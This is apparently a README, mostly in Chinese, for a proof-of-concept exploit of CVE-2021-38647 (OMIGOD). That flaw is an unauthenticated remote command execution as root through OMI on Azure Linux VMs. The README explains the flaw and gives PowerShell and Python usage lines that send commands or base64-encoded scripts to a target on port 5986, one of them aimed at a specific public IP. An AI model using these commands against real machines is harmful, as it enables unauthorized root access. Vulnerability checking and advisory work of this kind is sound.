CVE-2021-38647

CVE-2021-38647 - 用于在 Azure UNIX/Linux VM 上利用未认证 RCE #OMIGOD 的 POC

详情

在 Microsoft Azure 中，当为 UNIX/Linux VM 使用 Azure 自动化账户、更新管理、日志分析、配置管理等服务时，OMI 应用程序会自动安装。如果使用配置管理服务远程管理机器，OMI 应用程序还会在端口 5986 上暴露服务。

任何能够访问易受攻击端点的网络用户，无需 Authorization 头即可发送请求，利用 SCXcore 提供程序，在目标机器上以 root 权限执行操作系统命令！

此漏洞现已修复，但始终值得对 Azure 中的 Linux VM 进行检查。

用法

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==